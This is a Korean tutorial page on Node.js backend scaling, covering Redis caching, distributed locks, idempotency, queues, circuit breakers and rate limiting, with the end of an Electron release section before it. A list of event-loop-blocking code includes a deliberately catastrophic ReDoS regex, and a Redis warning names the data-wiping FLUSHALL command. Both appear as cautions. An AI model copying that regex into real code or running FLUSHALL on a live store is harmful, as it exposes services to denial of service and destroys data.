// 점진 배포 — 서버가 "이 사용자에게 새 버전을 줄지" 결정합니다
autoUpdater.channel = userPrefs.channel ?? "stable";

// 서버에서 롤아웃 비율을 확인 (문제 발견 시 즉시 중단할 수 있게)
const { rollout, minVersion } = await fetchReleasePolicy();
if (hashUserId(userId) % 100 < rollout) {
  autoUpdater.checkForUpdates();
}

// ★ 강제 업데이트 — 보안 패치나 API 비호환 시
if (semver.lt(app.getVersion(), minVersion)) {
  showBlockingUpdateScreen();     // 사용을 막고 업데이트만 허용
}

운영 지표 — 이 정도는 보세요

  • 시작 시간 p50·p95 — 회귀를 가장 먼저 알려 주는 지표 (v14)
  • 크래시율 (세션 대비) — 프로세스 종류별로 분리 (렌더러·GPU·유틸리티)
  • 버전 분포 — 업데이트가 실제로 도달하는지. 구버전이 오래 남으면 업데이트 경로에 문제가 있습니다
  • 메모리 p95 — 누수는 평균이 아니라 꼬리에서 드러납니다
  • 음성 앱이라면 손실률·지터·RTT 분포 (v09)
수집에는 반드시 동의를 받으세요. 크래시 덤프에는 메모리 조각(파일 경로·입력 내용)이 담길 수 있습니다. 옵트인·익명화·보관 기간을 명시하고, 사내 도구라도 개인정보 정책과 함께 안내해야 합니다.

전문가 영역 체크리스트

네이티브를 도입하기 전에

  • ☐ 정말 병목인지 측정했는가 — 대부분은 알고리즘·번들 문제입니다
  • ☐ WASM 으로 충분하지 않은가 (v06) — 배포가 압도적으로 쉽습니다
  • ☐ N-API 를 쓰는가 — Electron 업그레이드마다 재빌드를 피할 유일한 길 (v04)
  • ☐ 플랫폼별 CI 매트릭스가 준비됐는가 (v05·v07)
  • ☐ 로드 실패 시 앱이 죽지 않고 안내하는가 (v07)

미디어 기능을 넣기 전에

  • ☐ OS별 권한 요청·거부 상태 처리가 있는가 (v08·v10)
  • ☐ 장치 교체(핫플러그) 를 처리하는가 — 실제 사용 중 가장 흔한 사고
  • ☐ 공유 중 표시와 종료 수단이 항상 보이는가 (v11)
  • ☐ 품질을 수치로 관측하는가 — 손실·지터·RTT (v09)
  • ☐ OSR 이라면 텍스처 해제를 빠뜨리지 않았는가 (v12)
  • ☐ Chromium 업그레이드 시 미디어 회귀 테스트 계획이 있는가
다음 단계 — JS 엔진·이벤트 루프·메모리 내부는 🧬 전문가 탭, 서버 쪽 대규모 처리는 ⚡ 대규모 트래픽 탭, 빌드·CI 도구는 🧰 실전 도구 탭에서 이어집니다.
HIGH TRAFFIC · NODE 운영

스레드 하나로
10만 명을
받는 법

Node 는 기다리는 일에 최적화되어 있어 적은 자원으로 많은 연결을 버팁니다. 대신 이벤트 루프가 막히는 순간 전부 멈춥니다. 이 탭은 대기업 백엔드 면접에서 실제로 묻는 주제들을 순서대로 다룹니다. 여기까지 마치면 수만 RPS 서버의 병목을 찾아 캐시·큐·확장으로 풀고, 그 선택의 근거를 설명할 수 있습니다.

15SECTIONS
p99보는 지표
RedisBullMQ · Kafka
0중복 결제
SCALE 01

Node 로 트래픽 받기

“싱글 스레드라 느리다”는 오해부터 풀고 시작합니다.

왜 스레드 하나로 버티나

[스레드 기반 서버]  요청 1개 = 스레드 1개
  요청 10,000개 → 스레드 10,000개
  → 스레드당 1MB 스택 = 10GB
  → 컨텍스트 스위칭 비용 폭발

[Node]  요청 10,000개 = 대기 중인 콜백 10,000개
  → 실제로 CPU 를 쓰는 건 "응답이 도착한 것"뿐
  → 메모리는 수백 MB, 스위칭 없음

핵심: 웹 서버 작업의 대부분은 "기다리는 시간"입니다.
      DB 응답 50ms 동안 CPU 는 놀고 있습니다.
      Node 는 그 시간에 다른 요청을 처리합니다.
단, 계산이 들어오는 순간 무너집니다. 요청 하나가 CPU 를 200ms 점유하면 그동안 다른 모든 요청이 대기합니다. 초당 5개만 들어와도 서버가 마비됩니다. 이것이 Node 운영의 유일하고 가장 큰 위험입니다.

용량 산정 — 면접에서 시키는 계산

1) DAU × 1인당 요청 수 = 하루 총 요청
2) ÷ 86,400 = 평균 RPS
3) × 피크 배수(3~10) = 피크 RPS
4) 리틀의 법칙: 동시 처리 수 = RPS × 평균 처리시간(초)
5) ÷ 서버 1대 처리량 = 필요 대수

예) DAU 100만 · 1인 20요청 · 피크 5배
    = 2,000만 ÷ 86,400 × 5 ≈ 1,160 RPS
    평균 응답 100ms → 동시 116건
    → 커넥션 풀·외부 API 동시 호출 수를 이 기준으로 설계

Node 서버 1대의 감각

작업 성격대략의 처리량 (2vCPU)
메모리 캐시 응답10,000+ RPS
Redis 조회 1회수천 RPS
DB 조회 1~2회500 ~ 2,000 RPS
DB 쓰기 + 트랜잭션수백 RPS
JSON 1MB 파싱초당 수십 건 — CPU 바운드 ★
이미지 리사이즈워커 필수
정확한 수치가 목적이 아닙니다. 자릿수가 맞는지 보는 겁니다. “200 RPS 인데 서버 20대”면 뭔가 잘못 설계된 것이고, “3,000 RPS 를 2대로” 라면 부하 테스트(k13) 없이는 믿을 수 없습니다.
SCALE 02

병목 지도 · 이벤트 루프 지연

Node 가 느릴 때 볼 곳은 정해져 있습니다.

이 순서로 확인하세요

1
이벤트 루프 지연 여기가 막혔으면 다른 어떤 지표도 의미가 없습니다. 가장 먼저 봅니다.
▼
2
외부 호출 · 타임아웃 타임아웃 없는 fetch 하나가 커넥션과 메모리를 계속 붙잡습니다.
▼
3
DB 커넥션 풀 Node 는 스레드 제한이 없어서 진짜 한도는 대부분 여기입니다.
▼
4
데이터베이스 인덱스 없는 조회·N+1·락 경합. 원인의 절대다수.
// 이벤트 루프 지연 측정 — 운영에 반드시 넣으세요
import { monitorEventLoopDelay } from "node:perf_hooks";
const h = monitorEventLoopDelay({ resolution: 10 });
h.enable();

setInterval(() => {
  const p99 = h.percentile(99) / 1e6;
  metrics.gauge("event_loop_delay_p99_ms", p99);
  if (p99 > 100) logger.warn({ p99 }, "이벤트 루프 지연 경고");
  h.reset();
}, 10_000);

// 기준: p99 < 10ms 정상 · > 50ms 조사 · > 200ms 사용자 체감

증상 → 범인

증상의심할 것
CPU 100% · 루프 지연 큼동기 코드 — JSON 파싱·정규식·암호화·큰 배열
CPU 낮은데 응답 느림대기 — DB·외부 API·커넥션 풀 고갈
메모리가 계속 증가캐시 무한 증가·리스너 누수 (🧬 d04)
간헐적 502keepAliveTimeout < LB 타임아웃 (🟩 n06)
배포 직후만 느림캐시가 비어 있음 — 워밍업 필요 (k04)
특정 시간대만 느림배치·크론과 겹침
// 메인 스레드를 막는 대표적 코드
JSON.parse(hugeString)              // 10MB → 수백 ms
crypto.pbkdf2Sync(...)              // 동기 암호화
fs.readFileSync(...)                // 동기 파일
hugeArray.sort()                    // 100만 건 정렬
/(a+)+$/.test(userInput)            // ★ ReDoS — 정규식 폭발
new Array(1e7).fill(0).map(...)     // 큰 배열 변형

// 해법
//  · 워커로 넘기기 (🟩 Node n09)
//  · 스트리밍 파서 사용
//  · 청크로 나누고 setImmediate 로 양보
//  · 애초에 그 작업을 서버에서 하지 않기 (S3 · 별도 서비스)
“Node 가 느리다”는 진단은 거의 항상 틀립니다. 실제 원인은 인덱스 없는 쿼리, 순차로 도는 API 호출, 커넥션 풀 고갈 순입니다. 측정 없이 서버를 늘리지 마세요 — 비용만 늘고 문제는 그대로입니다.
느린 이유는 넷 중 하나입니다 — 고치기 전에 어디인지부터 1 앞단 대기열 — 아직 내 코드에 안 왔습니다 확인 — 로드밸런서 큐 길이 · 동시 연결 수. 서버 대수나 워커 수가 부족한 상태입니다 2 이벤트 루프 지연 — Node 만의 병목 확인 — 루프 지연 지표. 50ms 를 넘으면 이미 모든 요청이 같이 느려집니다 3 DB — 쿼리 시간과 커넥션 대기는 다릅니다 확인 — 느린 쿼리 로그 · 풀 대기 시간. 대기가 길면 인덱스가 아니라 풀 크기 문제입니다 4 외부 API — 내가 못 고치는 구간 확인 — 호출별 소요 시간 분포. 타임아웃 · 재시도 · 서킷 브레이커로 격리합니다 5 그리고 평균이 아니라 p95 · p99 를 보세요 평균 80ms 인데 p99 가 4초면, 백 명 중 한 명은 매번 4초를 기다리고 있습니다 이벤트 루프가 막히면 네 지표가 동시에 나빠집니다 — 이것부터 배제하세요 추측으로 고치면 대개 엉뚱한 곳을 고칩니다 — 지표를 먼저 붙이는 것이 항상 빠릅니다
성능 작업의 첫 단계는 최적화가 아니라 범인을 한 칸으로 좁히는 것입니다.
SCALE 03

캐시 전략 · Redis

가장 저렴하고 효과가 큰 수단. 대신 정합성을 내줍니다.

기본 패턴 — Cache Aside

import { Redis } from "ioredis";
const redis = new Redis(env.REDIS_URL, {
  maxRetriesPerRequest: 3,
  enableReadyCheck: true,
  // ★ Redis 가 죽어도 서비스는 살아야 합니다
  reconnectOnError: (err) => err.message.includes("READONLY"),
});

async function getProduct(id: number): Promise<Product | null> {
  const key = `product:${id}`;

  try {
    const hit = await redis.get(key);
    if (hit) return JSON.parse(hit);
  } catch (e) {
    logger.warn({ e }, "캐시 조회 실패 — DB 로 우회");   // ★ 캐시 장애가 서비스 장애가 되면 안 됩니다
  }

  const product = await db.product.findUnique({ where: { id } });
  if (!product) return null;

  // ★ TTL 에 랜덤을 섞습니다 (k04 스탬피드 방지)
  const ttl = 300 + Math.floor(Math.random() * 60);
  redis.setex(key, ttl, JSON.stringify(product)).catch(() => {});
  return product;
}

// 갱신할 때는 "고치지 말고 지우세요"
async function updateProduct(id: number, dto: UpdateDto) {
  const updated = await db.product.update({ where: { id }, data: dto });
  await redis.del(`product:${id}`);          // ★ set 이 아니라 del
  return updated;
}
캐시를 새 값으로 덮어쓰면 안 되는 이유 — 동시에 두 요청이 수정하면 느린 쪽이 나중에 덮어써서 옛 값이 캐시에 남습니다. 지워 두면 다음 조회가 DB 에서 최신을 가져옵니다.

Redis 자료구조 고르기

타입용도
String캐시 값, 카운터(INCR), 분산 락
Hash객체의 일부 필드만 갱신 — 세션
Sorted Set랭킹·대기열·시간순 큐
Set중복 제거, 태그, 오늘 방문자
Bitmap출석·활성 사용자 — 100만 명에 125KB
HyperLogLog순 방문자 근사 — 12KB 고정
Stream가벼운 이벤트 큐 (컨슈머 그룹 지원)
// 실시간 랭킹
await redis.zincrby("rank:20260804", 1, `product:${id}`);
const top = await redis.zrevrange("rank:20260804", 0, 9, "WITHSCORES");

// 순 방문자 (100만 명이어도 12KB)
await redis.pfadd("uv:20260804", String(userId));
const uv = await redis.pfcount("uv:20260804");

// ★ N번 호출하지 말고 파이프라인으로
const pipe = redis.pipeline();
ids.forEach(id => pipe.get(`product:${id}`));
const results = await pipe.exec();
운영에서 절대 치면 안 되는 명령 — KEYS * · FLUSHALL · 큰 HGETALL. Redis 는 싱글 스레드라 한 명령이 오래 걸리면 모든 요청이 그동안 멈춥니다. 훑기는 SCAN, 대량 삭제는 UNLINK 로.
SCALE 04

캐시가 서비스를 죽일 때

캐시 때문에 생긴 장애는 캐시가 없었을 때보다 큽니다.

① 캐시 스탬피드

인기 상품 캐시가 만료되는 그 순간
  → 동시에 들어온 요청 3,000개가 전부 MISS
  → 3,000개가 같은 DB 쿼리를 동시에 실행
  → DB CPU 100% → 커넥션 고갈 → 전 서비스 마비

막는 법 세 가지
  ① TTL 에 랜덤 섞기 (가장 쉽고 효과 큼)
  ② 재계산은 한 명만 (분산 락)
  ③ 만료 전에 미리 갱신 (백그라운드 리프레시)
// ② 락으로 한 명만 DB 에 보내기
async function getWithLock(id: number) {
  const key = `product:${id}`;
  const cached = await redis.get(key);
  if (cached) return JSON.parse(cached);

  const lockKey = `lock:${key}`;
  const got = await redis.set(lockKey, "1", "EX", 5, "NX");

  if (got) {
    try {
      const data = await db.product.findUnique({ where: { id } });
      // ★ SETEX 는 정수 초만 받습니다 — 소수면 "value is not an integer" 에러
      await redis.setex(key, 300 + Math.floor(Math.random() * 60), JSON.stringify(data));
      return data;
    } finally { await redis.del(lockKey); }
  }

  // 락을 못 얻은 요청은 짧게 기다렸다 캐시를 다시 봅니다
  await new Promise(r => setTimeout(r, 50));
  const retry = await redis.get(key);
  return retry ? JSON.parse(retry) : db.product.findUnique({ where: { id } });
}

② 캐시 관통 · ③ 핫키

// ② 존재하지 않는 id 를 계속 조회 (봇·버그·공격)
//    → "없음"도 캐시합니다
const cached = await redis.get(key);
if (cached === "__NULL__") return null;
if (cached) return JSON.parse(cached);

const data = await db.product.findUnique({ where: { id } });
if (!data) {
  await redis.setex(key, 30, "__NULL__");     // 짧은 TTL
  return null;
}
// ③ 핫키 — 특정 키에 요청이 몰려 Redis 노드 하나가 터짐
//    → 로컬 캐시를 한 겹 더 (2단 캐시)
import { LRUCache } from "lru-cache";

const local = new LRUCache<string, Product>({
  max: 1000,
  ttl: 5_000,                     // ★ 아주 짧게 — 정합성 손실 최소화
});

async function get2Tier(id: number) {
  const key = `product:${id}`;
  const l1 = local.get(key);
  if (l1) return l1;                       // 왕복 0회

  const l2 = await redis.get(key);
  if (l2) { const v = JSON.parse(l2); local.set(key, v); return v; }

  const data = await db.product.findUnique({ where: { id } });
  local.set(key, data);
  await redis.setex(key, 300, JSON.stringify(data));
  return data;
}
로컬 캐시는 서버마다 값이 다릅니다. 10대라면 최대 5초 동안 10가지 답이 나갈 수 있습니다. 재고·잔액에는 쓰지 마세요.
④ 배포 직후 눈사태 — 재시작으로 로컬 캐시가 전부 비면 모든 요청이 MISS 가 됩니다. 인기 데이터를 기동 시 미리 채우는 워밍업과, 롤링 배포(한 번에 전부 재시작하지 않기)로 완화합니다.
캐시가 서비스를 죽이는 순간 — 인기 키가 만료될 때 캐시 스탬피드 인기 키 TTL 만료 → 그 순간 들어온 요청 1000건이 전부 미스 평소 초당 1번이던 쿼리가 순간 1000번 → DB 커넥션 고갈 → 전체 장애 캐시를 붙이기 전보다 더 심하게 무너집니다 한 명만 갱신 먼저 온 요청이 잠금을 잡고 나머지는 잠깐 기다리거나 옛 값을 그대로 받습니다 만료를 흩뿌리기 TTL 을 300초 고정이 아니라 270~330초로 무작위화 동시 만료가 사라집니다 미리 갱신 만료 직전에 백그라운드로 새 값을 채워 둡니다 사용자는 미스를 못 봅니다 캐시가 통째로 비는 상황도 대비해야 합니다 — Redis 재시작 직후가 가장 위험합니다 없는 데이터를 반복 조회하는 공격도 있습니다 — "없음" 자체를 짧게 캐시해 막습니다
캐시는 부하를 줄이는 동시에 새로운 단일 실패 지점을 만듭니다.
SCALE 05

동시성 · 분산 락

서버가 여러 대가 되는 순간 메모리 락은 아무 의미가 없습니다.

재고가 마이너스가 되는 이유

재고 1개 · 동시에 100명이 주문

서버A: SELECT 재고 → 1
서버B: SELECT 재고 → 1      ← 아직 아무도 안 줄임
서버A: 1 > 0 → 주문 생성, UPDATE 재고 = 0
서버B: 1 > 0 → 주문 생성, UPDATE 재고 = 0

→ 1개를 2명에게 판매, 100명이면 재고 -37 같은 숫자가 남습니다

★ Node 는 싱글 스레드지만 await 사이에 다른 요청이 끼어듭니다.
  "한 프로세스 안에서도" 이 문제가 생깁니다.

해법 1 — 락 없이 (가장 먼저 검토)

// ★ 조건을 UPDATE 문 안으로 밀어 넣습니다
const r = await prisma.stock.updateMany({
  where: { productId, quantity: { gte: qty } },   // 조건
  data: { quantity: { decrement: qty } },
});
if (r.count === 0) throw new OutOfStockError(productId);

// Redis 원자 연산 — 선착순 쿠폰에 잘 맞습니다
const left = await redis.decrby(`stock:${productId}`, qty);
if (left < 0) {
  await redis.incrby(`stock:${productId}`, qty);   // 되돌리기
  throw new OutOfStockError(productId);
}
“읽고 → 판단하고 → 쓰기”를 하지 마세요. 그 세 단계 사이가 전부 사고 구간입니다. 판단을 쿼리 안으로 옮기면 락이 아예 필요 없어집니다.

해법 2 — 분산 락 (Redlock)

npm i redlock 또는 ioredis + Lua
// 직접 만들 때 빠뜨리기 쉬운 것들
// ① TTL (프로세스가 죽으면 락이 영원히 남음)
// ② 소유자 확인 (남의 락을 지우면 안 됨)
// ③ 작업이 TTL 보다 길어질 때의 연장

const token = crypto.randomUUID();

// 획득 — NX(없을 때만) + PX(만료)
const ok = await redis.set(lockKey, token, "PX", 5000, "NX");
if (!ok) throw new BusyError("잠시 후 다시 시도해 주세요");

try {
  await doWork();
} finally {
  // ★ 해제는 반드시 Lua 로 (내 락인지 확인 후 삭제 — 원자적)
  await redis.eval(`
    if redis.call("get", KEYS[1]) == ARGV[1] then
      return redis.call("del", KEYS[1])
    else return 0 end
  `, 1, lockKey, token);
}
// 라이브러리를 쓰는 편이 안전합니다
import Redlock from "redlock";
const redlock = new Redlock([redis], { retryCount: 3, retryDelay: 200 });

await redlock.using([`lock:stock:${productId}`], 5000, async (signal) => {
  const stock = await getStock(productId);
  if (stock < qty) throw new OutOfStockError(productId);
  await decreaseStock(productId, qty);

  if (signal.aborted) throw signal.error;   // ★ 락이 만료됐는지 확인
});
분산 락은 완벽하지 않습니다. 네트워크 지연·GC 정지로 락이 만료됐는데 작업이 계속되는 상황이 생길 수 있습니다. 돈이 걸린 곳은 락에만 의존하지 말고 DB 유니크 제약·원자적 UPDATE 를 최후 방어선으로 두세요.
서버가 여러 대면 프로세스 안의 락으로는 부족합니다 ① 락 없이 — 둘 다 통과합니다 서버 A 재고 1 확인 → 차감 서버 B 재고 1 확인 → 차감 재고가 -1 이 됩니다 둘 다 "남아 있다"를 본 뒤 각자 뺐습니다 ② 분산 락 — 한 번에 하나만 서버 A 락 획득 성공 서버 B 실패 → 대기 또는 429 SET lock:item:7 소유자ID NX PX 3000 성공한 쪽만 진입합니다 만료가 없으면 영영 잠깁니다 락을 쥔 서버가 죽으면 아무도 못 들어옵니다 — PX 는 필수 풀 때는 소유자를 확인합니다 Lua 로 "내 값일 때만 삭제" — 남의 락을 푸는 사고 방지
가능하면 락보다 DB 의 원자적 갱신 한 줄이 낫습니다 — 락은 그다음 수단입니다.
SCALE 06

멱등성 — 두 번 눌러도 한 번만

대규모에서는 같은 요청이 두 번 오는 게 정상입니다.

중복은 왜 생기나

  • 사용자가 결제 버튼을 두 번 눌렀다
  • 응답이 늦어 클라이언트가 재시도했다 (서버는 이미 처리 완료)
  • 로드밸런서·게이트웨이가 자동 재시도했다
  • 큐 워커가 재시도로 같은 작업을 다시 받았다 (k07)
  • 모바일 앱이 네트워크 복구 후 대기 큐를 전송했다 (⚛️ RN r09)
재시도 로직(k08)을 넣는 순간 멱등성은 필수가 됩니다. 둘은 항상 같이 설계해야 합니다. “재시도하면 되지”가 곧 “중복 결제”입니다.
// Idempotency-Key 패턴 — 업계 표준 (Stripe·Toss 등)
app.post("/api/payments", async (req, res) => {
  const key = req.header("Idempotency-Key");
  if (!key) throw new ValidationError("Idempotency-Key 헤더가 필요합니다");

  const k = `idem:pay:${key}`;
  const first = await redis.set(k, "PROCESSING", "EX", 86400, "NX");

  if (!first) {
    const saved = await redis.get(k);
    if (saved === "PROCESSING")
      return res.status(409).json({ code: "IN_PROGRESS" });
    return res.json(JSON.parse(saved!));      // ★ 저장된 결과 재사용
  }

  try {
    const result = await paymentService.pay(req.body);
    await redis.setex(k, 86400, JSON.stringify(result));
    res.json(result);
  } catch (e) {
    await redis.del(k);                        // ★ 실패는 지워 재시도 허용
    throw e;
  }
});

DB 제약을 최후 방어선으로

-- Redis 가 날아가도 중복이 막힙니다
create table payment (
  id             bigserial primary key,
  idempotency_key varchar(64) unique not null,   -- ★
  order_id       varchar(64) not null,
  amount         integer not null,
  created_at     timestamptz default now()
);
try {
  await prisma.payment.create({ data: { idempotencyKey: key, ...dto } });
} catch (e) {
  if (e.code === "P2002") {                    // 유니크 위반
    return prisma.payment.findUnique({ where: { idempotencyKey: key } });
  }
  throw e;
}

더 나은 방법 — 애초에 멱등한 연산으로

비멱등
update account
   set balance
     = balance - 1000
 where id = 7;
-- 두 번 오면 2,000원
멱등 (원장 기록)
insert into ledger
  (tx_id, account_id, amount)
values ('tx-99', 7, -1000)
on conflict (tx_id)
  do nothing;
-- 몇 번 와도 한 번
상태를 “증감”이 아니라 “사실의 기록”으로 바꾸면 중복이 자연히 무해해집니다. 잔액은 원장의 합으로 계산하고, 원장에는 거래 ID 유니크를 겁니다. 금융권에서 실제로 쓰는 형태입니다.
멱등성 — 두 번 눌러도, 재시도돼도 한 번만 1차 요청 Idempotency-Key: abc 키가 없다 → 실제 처리 결제 실행 · 결과를 키와 함께 저장 200 · 주문번호 반환 클라이언트가 못 받으면? 2차 요청 (재시도) 같은 키 abc 키가 이미 있다 결제를 다시 하지 않습니다 저장된 결과 그대로 같은 주문번호가 나옵니다 1차가 아직 처리 중일 때 2차가 올 수 있습니다 "처리 중" 상태를 먼저 기록하고, 그 상태면 409 를 주거나 결과가 나올 때까지 기다리게 하세요 키는 클라이언트가 만들어 보냅니다 — 재시도할 때 같은 키를 다시 써야 뜻이 있습니다 키에는 만료를 두세요 — 보통 24시간이면 충분하고, 그보다 오래된 재시도는 새 요청으로 봅니다
네트워크에서 재시도는 예외가 아니라 기본값입니다 — 돈이 걸린 API 는 멱등이 필수입니다.
SCALE 07

큐 — BullMQ · Kafka

오래 걸리는 일을 넘기면 응답은 빨라지고 장애는 안 번집니다.

동기 처리의 한계

[동기] 주문 API 하나에 전부 매달림
  주문 저장 120ms + 쿠폰 80 + 포인트 90
  + 알림톡 300 + 정산 150 = 740ms
  → 알림톡 업체가 죽으면 "주문 자체가" 실패

[비동기] 이벤트를 던지고 끝
  주문 저장 120ms + 큐 등록 3ms = 123ms
  → 알림톡이 죽어도 주문은 정상
  → 복구되면 밀린 것부터 처리

BullMQ — Node 진영의 표준

npm i bullmq (Redis 기반)
import { Queue, Worker, QueueEvents } from "bullmq";

const connection = { url: env.REDIS_URL };

export const emailQueue = new Queue("email", {
  connection,
  defaultJobOptions: {
    attempts: 3,
    backoff: { type: "exponential", delay: 1000 },   // 재시도 1s → 2s (attempts 3 = 첫 시도 + 재시도 2번)
    removeOnComplete: { age: 3600, count: 1000 },     // ★ 안 지우면 Redis 가 참
    removeOnFail: { age: 86400 },
  },
});

// 등록 — ★ jobId 로 중복 방지
await emailQueue.add("welcome", { userId },
  { jobId: `welcome:${userId}`, delay: 5000 });

// 처리
new Worker("email", async (job) => {
  await job.updateProgress(50);
  await mailer.send(job.data);
}, { connection, concurrency: 5, limiter: { max: 100, duration: 60_000 } });

언제 Kafka 인가

도구적합한 상황
BullMQ작업 큐 — 메일·이미지·리포트. 재시도·지연·우선순위·반복 작업이 필요할 때. 대부분 이걸로 충분
Kafka이벤트 스트림 — 여러 서비스가 같은 이벤트를 각자 구독, 대용량 로그, 재처리가 필요할 때
SQS · Pub/Sub관리형이 필요할 때 (운영 인력 절약)
// Kafka (kafkajs)
import { Kafka } from "kafkajs";
const kafka = new Kafka({ clientId: "order-api", brokers: env.KAFKA_BROKERS.split(",") });

const producer = kafka.producer({ idempotent: true });   // ★ 중복 발행 방지
await producer.send({
  topic: "order.created",
  messages: [{ key: orderId, value: JSON.stringify(event) }],
  //          ★ 키가 같으면 같은 파티션 = 순서 보장
  acks: -1,                                  // 모든 복제본 확인
});

const consumer = kafka.consumer({ groupId: "point-service" });
await consumer.run({
  eachMessage: async ({ message }) => {
    const event = JSON.parse(message.value!.toString());
    await pointService.give(event);          // ★ 멱등해야 합니다 (k06)
  },
});
큐 운영에서 반드시 챙길 것
· 실패한 작업(DLQ)에 알람 — 안 보면 없는 것과 같습니다
· 대기 작업 수(백로그)를 지표로 — 계속 늘면 워커가 부족한 것
· 완료된 작업을 주기적으로 삭제 — Redis 메모리가 찹니다
· 워커도 우아한 종료 필요 — 배포 중 작업이 유실됩니다
SCALE 08

장애 격리 · 서킷 브레이커

대규모 장애는 대부분 작은 지연이 전체로 번져서 일어납니다.

장애 전파 시나리오

추천 서비스가 느려짐 (200ms → 10초)
  → 상품 API 의 fetch 가 10초씩 대기
  → 대기 중인 요청이 계속 쌓임 (메모리·소켓)
  → 커넥션 풀·파일 디스크립터 고갈
  → 추천과 무관한 "주문 API 까지" 실패
  → 사용자 재시도 → 부하 2배 → 완전 마비

핵심: 죽은 것은 추천 하나인데 서비스 전체가 멈췄다

막는 장치 — 이 순서로

장치역할
① 타임아웃가장 중요. 이것만 있어도 절반은 막힙니다
② 재시도 + 백오프일시적 오류만. 지수 백오프 + 지터 필수
③ 서킷 브레이커계속 실패하면 시도조차 안 함
④ 폴백실패 시 대신 보여 줄 것
// ★ 타임아웃 없는 fetch 는 그 자체로 장애입니다
const res = await fetch(url, {
  signal: AbortSignal.timeout(3000),        // 전체 3초
});

// undici 로 더 세밀하게
import { request } from "undici";
await request(url, {
  headersTimeout: 2000,
  bodyTimeout: 5000,
});

재시도 — 잘못하면 불난 데 기름

// ❌ 나쁜 재시도 — 서버가 힘든데 3배로 때립니다
for (let i = 0; i < 3; i++) {
  try { return await call(); } catch { /* 즉시 재시도 */ }
}

// ✅ 지수 백오프 + 지터
async function retry<T>(fn: () => Promise<T>, max = 3): Promise<T> {
  let lastErr: unknown;
  for (let i = 0; i < max; i++) {
    try { return await fn(); }
    catch (e) {
      lastErr = e;
      if (!isRetryable(e)) throw e;          // ★ 4xx 는 재시도해도 소용없습니다
      if (i === max - 1) break;              // 마지막 시도 뒤에는 기다릴 필요 없음
      const base = 200 * 2 ** i;             // 200 → 400 → 800 …
      const jitter = Math.random() * base;   // ★ 지터 — 동시 재시도 방지
      await new Promise(r => setTimeout(r, base + jitter));
    }
  }
  throw lastErr;
}

const isRetryable = (e: any) =>
  e.name === "TimeoutError" ||
  ["ECONNRESET", "ETIMEDOUT", "ECONNREFUSED"].includes(e.code) ||
  [429, 502, 503, 504].includes(e.status);

서킷 브레이커

npm i opossum
import CircuitBreaker from "opossum";

const breaker = new CircuitBreaker(callRecommendApi, {
  timeout: 2000,
  errorThresholdPercentage: 50,     // 50% 실패하면 OPEN
  resetTimeout: 10_000,             // 10초 뒤 반개방(HALF_OPEN)
  volumeThreshold: 10,              // 최소 10건은 모여야 판단
});

breaker.fallback(() => popularCache.get());     // ★ 빈 화면 대신 그럴듯한 것
breaker.on("open", () => logger.warn("추천 서비스 서킷 열림"));
breaker.on("halfOpen", () => logger.info("추천 서비스 탐색 중"));

const items = await breaker.fire(userId);
상태 전이 — CLOSED(통과, 실패율 집계) → OPEN(즉시 폴백, 죽은 서버에 부하 안 줌) → HALF_OPEN(몇 개만 시험) → 성공하면 CLOSED. 사람이 개입하지 않아도 자동 복구되는 것이 핵심 가치입니다.
서킷 브레이커 — 죽은 상대를 계속 두드리지 않습니다 닫힘 (정상) 요청을 그대로 보냅니다 실패율 초과 열림 (차단) 호출 없이 즉시 실패 반환 30초 뒤 반열림 (시험) 몇 건만 보내 봅니다 성공하면 다시 닫힘 실패하면 다시 열림 열림 상태에서 무엇을 돌려줄지 미리 정해 두세요 캐시에 남은 옛 값 · 기본값 · 기능 일부만 끈 화면 — 그냥 500 을 주는 것보다 거의 항상 낫습니다 타임아웃 없는 호출에는 브레이커도 소용없습니다 — 모든 외부 호출에 타임아웃부터 거세요 재시도와 함께 쓸 때는 간격을 늘려 가며 무작위를 섞으세요 — 다 같이 재시도하면 또 무너집니다
장애 격리의 목적은 실패를 없애는 것이 아니라 실패가 번지지 않게 하는 것입니다.
SCALE 09

Rate Limit — 받을 만큼만

전부 받아 주다 다 같이 죽느니 일부를 거절하고 나머지를 살리는 편이 낫습니다.

알고리즘

방식특징
고정 윈도우단순. 경계에서 2배가 통과하는 결함
슬라이딩 윈도우경계 문제 해결. 메모리를 조금 더 사용
토큰 버킷여유분을 모아 뒀다 순간 폭주 허용. API 제한의 표준
리키 버킷일정 속도로만 흘려보냄. 뒷단 보호에 좋음
// ★ 서버가 여러 대면 메모리 카운터는 무의미합니다 (10대 = 한도 10배)
import rateLimit, { ipKeyGenerator } from "express-rate-limit";
import RedisStore from "rate-limit-redis";

app.use("/api", rateLimit({
  store: new RedisStore({ sendCommand: (...a) => redis.call(...a) }),
  windowMs: 60_000,
  limit: 100,
  standardHeaders: "draft-8",   // express-rate-limit v8 기준 (구형 클라이언트는 "draft-6")
  // 로그인 전은 IP, 후는 사용자 — 키는 문자열이어야 하고,
  // v8 은 req.ip 를 직접 쓰면 경고합니다 (IPv6 는 /64 단위로 묶어야 우회가 안 됨)
  keyGenerator: (req) =>
    req.user ? `user:${req.user.id}` : ipKeyGenerator(req.ip ?? ""),
  handler: (req, res) => res.status(429)
    .set("Retry-After", "10")
    .json({ code: "TOO_MANY_REQUESTS" }),
}));

// 민감한 엔드포인트는 훨씬 빡빡하게
app.use("/auth/login", rateLimit({ windowMs: 900_000, limit: 5 }));

Redis + Lua — 원자적 토큰 버킷

// Lua 는 Redis 안에서 한 덩어리로 실행됩니다 (경쟁 조건 없음)
const LUA = `
  local key      = KEYS[1]
  local capacity = tonumber(ARGV[1])
  local rate     = tonumber(ARGV[2])
  local now      = tonumber(ARGV[3])

  local b = redis.call('HMGET', key, 'tokens', 'ts')
  local tokens = tonumber(b[1]) or capacity
  local ts     = tonumber(b[2]) or now

  tokens = math.min(capacity, tokens + (now - ts) * rate)
  local allowed = tokens >= 1
  if allowed then tokens = tokens - 1 end

  redis.call('HMSET', key, 'tokens', tokens, 'ts', now)
  redis.call('EXPIRE', key, 120)
  return allowed and 1 or 0
`;

const allowed = await redis.eval(LUA, 1, `rate:${userId}`,
  "60", "1", String(Date.now() / 1000));

대기열 — 티켓팅·선착순

1) 진입 시 Sorted Set 에 (사용자, 타임스탬프) 등록
2) 내 순번 = ZRANK → "앞에 12,043명" 안내
3) 서버는 "초당 N명"씩만 통과시켜 입장 토큰 발급
4) 토큰이 있는 요청만 실제 API 호출 가능

효과
  · 뒷단은 항상 감당 가능한 만큼만 받는다
  · 사용자는 "실패" 대신 "순번"을 본다 (체감이 완전히 다름)
